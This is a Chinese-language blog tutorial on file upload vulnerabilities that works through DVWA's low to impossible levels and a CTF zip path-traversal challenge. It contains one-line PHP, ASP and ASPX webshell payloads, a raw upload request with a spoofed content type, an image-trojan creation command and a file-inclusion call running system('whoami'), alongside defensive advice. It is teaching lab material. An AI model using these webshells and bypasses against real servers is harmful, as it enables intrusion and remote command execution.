• 文件上传漏洞总结


    任意文件上传概述

    文件上传是web应用必备功能之一,如,头像上传、附件分享等。如果服务器配置不当或者有没有进行足够的过滤,web用户就可以上传任意文件,包括恶意恶意脚本文件,exp呈现等等,这就造成了任意文件上传漏洞

    漏洞成因

    服务器配置不当,开启了PUT 方法。

    Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。

    在程序开发部署时,没有考虑以下因素,导致限制被绕过:

    • 代码特性;

    • 组件漏洞;

    • Web 容器漏洞;

    • 系统特性;

    漏洞危害

    上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

    • 直接上传后门文件并执行,导致网站沦陷;

    • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

    通过文件上传漏洞获得的网站后门,叫WebShell。

    webshell解析

    • 理解Shell 的概念

    • 掌握WebShell 使用

    shell

    命令解释器

    windowslinux
    powershellbash
    cmdsh
    zsh

    image-20231114105354079

    webshell

    WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权

    限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:

    • .php

    • .asp

    • .aspx

    • .jsp

    WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。

    web容器脚本语言
    Apache HTTPDphp
    IISaspx| aspx| php
    Tomcatjsp| jspx

    大马

    代码量比较大,与小马对比。

    小马

    一句话木马,需要与中国菜刀配合。

    特点:短小精悍,功能强大。

    三大基本功能:文件管理、虚拟终端、数据库管理。

    php 脚本格式:

    
    //代码执行函数+传参点
    
    • 1
    • 2

    asp脚本形式:

    <%eval request("777")%>
    
    • 1

    aspx脚本形式:

    <%@ Page Language="Jscript"%>
    <%eval(Request.Item["777"],"unsafe");%>
    
    • 1
    • 2

    getshell

    GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。

    WebShell项目

    • tennc/webshell

    任意文件上传攻防

    毫无检测

    DVWA/File Upload/Low

    源代码

    
    if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
    // No
    echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    代码审计

    • 对文件上传没有做任何过滤;

    • 任意文件上传。

    黑白名单策略

    黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就

    是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一。

    文件检测

    • 文件后缀名

    • 文件类型

    • 文件内容

    后缀名黑名单

    $deny_ext = array(
     ".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",
    ".html",".htm",
    ".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",
    ".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
    ".cer",".swf",
    ".htaccess"
    );
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    后缀名白名单

    $allow_ext = array(
     'jpg','jpeg','png','bmp','gif','svg',
     'zip','tar.gz',
     'doc','docx','pdf','xls','ppt'
    );
    
    • 1
    • 2
    • 3
    • 4
    • 5

    文件类型检测

    DVWA/File Upload/Medium

    源代码

    
    if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
     ( $uploaded_size < 100000 ) ) {
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
    // No
    echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    代码审计

    • 上传的文件没有重命名;

    • Content-Type 类型白名单检测;

    • 任意文件上传。

    POST /dvwa_2.0.1/vulnerabilities/upload/ HTTP/1.1
    Host: 10.4.7.196
    Content-Length: 432
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://10.4.7.196
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3xRrwk8liSH6rVVn
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/105.0.5195.102 Safari/537.36
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
    ned-exchange;v=b3;q=0.9
    Referer: http://10.4.7.196/dvwa_2.0.1/vulnerabilities/upload/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: security=medium; PHPSESSID=rkgc97fga9q51hn8vciv5dt5e7; ASPSESSIONIDSASCAARA=DPNHBLIBFBKFLHLNLEHPMJCH;
    ASPXSpy=5854b7d51176229708197a5334ba1195
    Connection: close
    ------WebKitFormBoundary3xRrwk8liSH6rVVn
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    100000
    ------WebKitFormBoundary3xRrwk8liSH6rVVn
    Content-Disposition: form-data; name="uploaded"; filename="yjh.php"
    Content-Type: image/jpeg
    <?php
    @eval($_REQUEST[777]);phpinfo();
    ?>
    ------WebKitFormBoundary3xRrwk8liSH6rVVn
    Content-Disposition: form-data; name="Upload"
    Upload
    ------WebKitFormBoundary3xRrwk8liSH6rVVn--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    文件后缀名或内容检测

    DVWA/File Upload/High

    源代码

    
    if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( 
    $uploaded_ext ) == "png" ) &&
     ( $uploaded_size < 100000 ) &&
    getimagesize( $uploaded_tmp ) ) {
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
    // No
    echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    代码审计

    • 上传文件没有重命名;

    • 文件后缀名白名单检测;

    • 使用getimagesize() 进行文件内容检测,只检测文件头部。

    图片木马

    使用cmd命令

    copy imgName/b+yjh/a newImgName
    
    • 1

    说明:

    • 图片木马没有办法直接利用,需要配合其他漏洞。

    • 图片木马中包含了恶意代码。

    完全防御

    DVWA/File Upload/Impossible

    源代码

    
    if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 
    'upload_tmp_dir' ) ) );
    $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( 
    $uploaded_ext ) == 'png' ) &&
     ( $uploaded_size < 100000 ) &&
     ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
    getimagesize( $uploaded_tmp ) ) {
    // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
    if( $uploaded_type == 'image/jpeg' ) {
    $img = imagecreatefromjpeg( $uploaded_tmp );
    imagejpeg( $img, $temp_file, 100);
     }
    else {
    $img = imagecreatefrompng( $uploaded_tmp );
    imagepng( $img, $temp_file, 9);
     }
    imagedestroy( $img );
    // Can we move the file to the web root from the temp folder?
    if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
    // Yes!
    echo "
    ${target_file} succesfully uploaded!
    "
    ; } else { // No echo '
    Your image was not uploaded.
    '
    ; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } // Generate Anti-CSRF token generateSessionToken(); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    代码审计

    • 检测Token 值,防止数据包重放;

    • 文件重命名;

    • 文件后缀名白名单检测;

    • 文件类型白名单检测;

    • 文件内容头部检测;

    • 二次渲染,生成新文件;

    • 删除缓存文件。

    文件上传利用条件

    文件上传漏洞完美利用,受到以下条件限制:

    • Web 服务器开启文件上传功能,Web 用户可以使用该功能。

    • Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。

    • 完美利用意味着文件可以执行,也就是说代码可以被服务器解析。

    • 服务器开启了PUT 方法。

    任意文件上传防御

    代码角度

    • 采用白名单策略,严格限制上传文件的后缀名;

    • 上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;

    • 文件内容检测;

    • 进行二次渲染,过滤掉图片马中的恶意代码;

    • 避免文件包含漏洞;

    • 严格处理文件路径,防御00 截断漏洞;

    • 检测Token 值,防止数据包重放。

    业务角度

    • 强口令策略,避免恶意攻击者登录网站后台;

    • 尽量避免Web 用户修改上传白名单。

    web容器角度

    • 及时更新Web 容器,防止解析漏洞产生。

    • 禁用Web 容器PUT 方法。

    系统角度

    • 避开空格、点 . 、 ::$DATA 等windows 系统特性。

    服务器部署

    • 严格控制权限,执行权限与写权限分离。

    • 建立单独的文件存储服务器,类似于站库分离

    扩展1 dvwa-fileupload

    low

    源码

    
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    没有过滤

    尝试上传一句话木马

     @eval($_POST[999]);?>
    
    • 1

    上传成功,返回上传的路径

    image-20231116104436459

    去掉井号跟在后面

    http://10.9.47.221/dvwa_2.0.1/hackable/uploads/yijuhua.php
    
    • 1

    使用蚁剑连接

    image-20231116104749935

    可以成功连接

    medium

    源码

    
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size < 100000 ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    发现过滤了文件类型,需要将文件类型改为jpeg或者png的

    上传一句话木马,将content-type改为image/png

    发现可以上传成功

    image-20231116105931187

    使用蚁剑连接

    image-20231116110049317

    high

    源码

    
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '
    Your image was not uploaded.
    '
    ; } else { // Yes! echo "
    {$target_path} succesfully uploaded!
    "
    ; } } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    该难度增加了对文件后缀名的判断,需要后缀名为jpg,jpeg,png

    并且使用了getimagesize()函数,该函数会检查图片的内容来判断该内容中的格式符不符合图片,如果不是图片的格式会上传失败

    制作图片包含一句话木马,将木马放在该图片内容的底部,防止被函数识别过滤

    copy 111.png/b+111.txt/a 123.png
    
    • 1

    image-20231116114204806

    上传成功

    image-20231116114609771

    image-20231116114712717

    蚁剑无法连接

    需要配合靶场的文件包含使用

    http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file://C:\phpstudy_2016\WWW\dvwa_2.0.1\hackable\uploads\123.png&999=system('whoami');
    
    • 1

    image-20231116115435675

    可以执行系统命令

    也可以phpinfo()

    image-20231116115522299

    impossilbe

    
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "
    ${target_file} succesfully uploaded!
    "
    ; } else { // No echo '
    Your image was not uploaded.
    '
    ; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '
    ; } } // Generate Anti-CSRF token generateSessionToken(); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    此行代码检查用户token

    下面一段获取上传文件的信息,以及截取文件后缀名

    $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    该行代码对文件名使用md5生成唯一文件名

    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) )

    检查文件后缀名和大小是否符合,并且检查上传类型是否符合

    然后调用函数检查文件内容是否符合图片格式

    if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );

    如果上传的格式通过,随后去除其元数据,并将其移动至临时目录

    imagecreatefrompng() 是 PHP 中用于创建一个新的 GD 图像资源,从指定的 PNG 文件中读取图像数据的函数。它的基本语法如下:

    resource imagecreatefrompng ( string $filename )
    
    • 1

    参数 $filename 是一个字符串,表示要读取的 PNG 文件的路径。

    当调用 imagecreatefrompng() 函数时,它会打开指定的 PNG 文件,并将其解析为 GD 图像资源。这个资源可以被用于后续的图像处理操作,比如缩放、裁剪、添加水印等。

    这个函数返回一个 GD 图像资源,如果读取失败,则返回 false

    if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "

    ${target_file} succesfully uploaded!
    "; } else { // No echo '
    Your image was not uploaded.
    '; }

    将图片从临时目录移动到目标目录

    if( file_exists( $temp_file ) ) unlink( $temp_file ); }

    删除临时目录的文件

    扩展2 01ctfer 文件上传

    源码

    
    header("Content-Type:text/html; charset=utf-8");
    // 每5分钟会清除一次目录下上传的文件
    require_once('pclzip.lib.php');
    
    if(!$_FILES){
    
            echo '
    
    
    
    
        
        
        
        文件上传章节练习题
        
        
    
    
        
    '
    ; show_source(__FILE__); }else{ $file = $_FILES['file']; if(!$file){ exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/'; $ext = strtolower(substr(strrchr($name, '.'), 1)); $path = $dir.$name; function check_dir($dir){ $handle = opendir($dir); while(($f = readdir($handle)) !== false){ if(!in_array($f, array('.', '..'))){ if(is_dir($dir.$f)){ check_dir($dir.$f.'/'); }else{ $ext = strtolower(substr(strrchr($f, '.'), 1)); if(!in_array($ext, array('jpg', 'gif', 'png'))){ unlink($dir.$f); } } } } } if(!is_dir($dir)){ mkdir($dir); } $temp_dir = $dir.md5(time(). rand(1000,9999)); if(!is_dir($temp_dir)){ mkdir($temp_dir); } if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){ if($ext == 'zip'){ $archive = new PclZip($file['tmp_name']); foreach($archive->listContent() as $value){ $filename = $value["filename"]; if(preg_match('/\.php$/', $filename)){ exit("压缩包内不允许含有php文件!"); } } if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { check_dir($dir); exit("解压失败"); } check_dir($dir); exit('上传成功!'); }else{ move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']); check_dir($dir); exit('上传成功!'); } }else{ exit('仅允许上传zip、jpg、gif、png文件!'); } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126

    require_once('pclzip.lib.php'); - 引入了一个名为 pclzip.lib.php 的外部库,用于处理zip压缩文件。

    检查上传的文件类型,如果是zip文件,则使用 PclZip 库解压文件,并检查解压后的文件内容,如果包含PHP文件则停止执行并输出错误信息。如果解压失败,则输出错误信息。然后检查目录下的文件并删除不符合规定的文件

    其中对于zip的两个主要限制点即为结尾不能是php,其次是不能直接上传在当前目录,因为目录名随机,解压之后找不到位置,因此需要目录穿越到可以找到并访问的位置,此处主要是apache的解析漏洞,从右向左解析,直到解析到合法后缀才执行

    复现

    写一个一句话木马文件

    然后命名为如图

    image-20231116143820045

    其中xxxxxx为占位符,因为要用010editor将前面改为…/…/刚好六位,后面加未知后缀是因为代码中写的不能以php结尾

    将该文件压缩

    zip 9.zip xxxxxx9.php.gp 
    
    • 1

    010editor打开压缩包文件编辑

    将其中名字部分改为如图

    为什么用01编辑器修改文件名,因为在外部不能以…/这种东西命名

    image-20231116144306218

    然后保存

    进入靶场上传

    image-20231116144748329

    image-20231116144550200

    上传成功后访问该php文件,得到flag

    n1book{ThisIsUpLoadToPicfl4g}
    
    • 1

    image-20231116144608977

    但是蚁剑无法连接,而且传参过后也无法操作

  • 相关阅读:
    Linux线程同步对象:互斥体、信号量、条件变量、读写锁
    Vega Prime入门教程12.01:运行测试
    GitHub配置账号Pull Request更新代码分支
    缘来交友网站的设计与实现(源码+数据库+论文+开题报告+说明文档)
    haddop shuffle最详细的解释
    厂里资讯之自媒体文章自动审核
    upload-labs靶场通关指南(5-8关)
    基于bp神经网络汽车自动变速器最佳挡位判断(Matlab代码实现)
    Python爬虫从入门到进阶
    路由守卫
  • 原文地址:https://blog.csdn.net/qq_58683895/article/details/134443780